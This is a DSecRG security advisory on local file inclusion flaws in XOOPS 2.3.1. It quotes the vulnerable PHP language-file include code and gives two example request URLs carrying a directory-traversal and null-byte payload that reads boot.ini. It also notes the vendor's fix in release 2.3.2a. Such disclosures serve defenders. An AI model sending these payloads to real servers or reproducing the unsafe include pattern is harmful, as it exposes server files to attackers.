XOOPS 2.3.1 Local File Inclusions

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Digital Security Research Group [DSecRG] Advisory #DSECRG-08-040  
  
  
Application: XOOPS   
Versions Affected: 2.3.1  
Vendor URL: http://www.xoops.org/  
Bug: Multiple Local File Include  
Exploits: YES  
Reported: 10.11.2008  
Vendor response: 10.11.2008  
Solution: YES  
Date of Public Advisory: 08.12.2008  
Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)  
  
  
  
Description  
***********  
  
XOOPS has Multiple Local File Include vulnerabilities.  
  
  
  
Details  
*******  
  
Local File Include vulnerability found in scripts:  
  
xoops_lib/modules/protector/blocks.php  
xoops_lib/modules/protector/main.php  
  
Successful exploitation requires that "register_globals" is enabled.  
  
Code  
----  
#################################################  
  
$mytrustdirname = basename( dirname( __FILE__ ) ) ;  
$mytrustdirpath = dirname( __FILE__ ) ;  
  
// language files  
$language = empty( $xoopsConfig['language'] ) ? 'english' : $xoopsConfig['language'] ;  
if( file_exists( "$mydirpath/language/$language/main.php" ) ) {  
// user customized language file (already read by common.php)  
// include_once "$mydirpath/language/$language/main.php" ;  
} else if( file_exists( "$mytrustdirpath/language/$language/main.php" ) ) {  
// default language file  
include_once "$mytrustdirpath/language/$language/main.php" ;  
...  
  
#################################################  
  
For successful exploitation first condition in if..else statement must be not true.  
  
Example:  
  
http://[server]/[installdir]/xoops_lib/modules/protector/blocks.php?mydirpath=DSecRG/DSecRG/DSecRG&xoopsConfig[language]=../../../../../../../boot.ini%00  
http://[server]/[installdir]/xoops_lib/modules/protector/main.php?mydirpath=DSecRG/DSecRG/DSecRG&xoopsConfig[language]=../../../../../../../boot.ini%00  
  
  
  
Solution  
********  
  
Vendor fixed this flaw on 26.11.2008.   
  
XOOPS 2.3.2a Security Release can be download from Sourceforge repository:  
  
https://sourceforge.net/project/showfiles.php?group_id=41586&package_id=153583&release_id=643010  
  
Release notes:  
  
http://www.xoops.org/modules/news/article.php?storyid=4540  
  
  
  
About  
*****  
  
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.  
  
  
Contact: research [at] dsec [dot] ru  
http://www.dsec.ru (in Russian)  
  
  
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